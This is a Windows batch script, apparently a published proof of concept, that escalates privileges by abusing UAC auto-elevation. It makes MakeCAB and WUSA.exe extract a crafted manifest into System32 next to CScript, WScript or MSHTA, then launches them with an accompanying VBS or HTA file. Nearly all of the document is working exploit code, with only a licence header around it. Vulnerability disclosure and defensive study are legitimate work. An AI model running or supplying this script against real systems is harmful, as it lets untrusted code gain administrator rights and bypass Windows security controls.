Rem MANIFEST.CMD Rem Escalation of privilege via UAC auto-elevation of Windows Update Stand-Alone, Rem Windows Script Host and HTML Application Host Rem Copyright (C) 2009-2018, Stefan Kanthak Rem * The software is provided "as is" without any warranty, neither express Rem nor implied. Rem In no event will the author be held liable for any damage(s) arising Rem from the use of the software. Rem * Redistribution of the software is allowed only in unmodified form. Rem * Permission is granted to use the software solely for personal private Rem and non-commercial purposes. Rem * An individuals use of the software in his or her capacity or function Rem as an agent, (independent) contractor, employee, member or officer of Rem a business, corporation or organization (commercial or non-commercial) Rem does not qualify as personal private and non-commercial purpose. Rem * Without written approval from the author the software must not be used Rem for a business, for commercial, corporate, governmental, military or Rem organizational purposes of any kind, or in a commercial, corporate, Rem governmental, military or organizational environment of any kind. If Not Exist "%~dpn0.MAN" Exit /B If Exist "%~dpn0.VBS" Call :MANIFEST "CScript.Exe" "%~dpn0.VBS" If Exist "%~dpn0.HTA" Call :MANIFEST "MSHTA.Exe" "%~dpn0.HTA" If Exist "%~dpn0.VBS" Call :MANIFEST "WScript.Exe" "%~dpn0.VBS" Exit /B :MANIFEST If Not Exist "%SystemRoot%\System32\%~1" Goto :EOF Copy "%~dpn0.MAN" "%TEMP%\%~1.Manifest" "%SystemRoot%\System32\MakeCAB.Exe" "%TEMP%\%~1.Manifest" "%TEMP%\MANIFEST.CAB" Erase "%TEMP%\%~1.Manifest" "%SystemRoot%\System32\WUSA.Exe" "%TEMP%\MANIFEST.CAB" /Extract:"%SystemRoot%\System32" Erase "%TEMP%\MANIFEST.CAB" Dir "%SystemRoot%\System32\%~1.Manifest" "%SystemRoot%\System32\%~1" "%~2" Rem Erase "%SystemRoot%\System32\%~1.Manifest"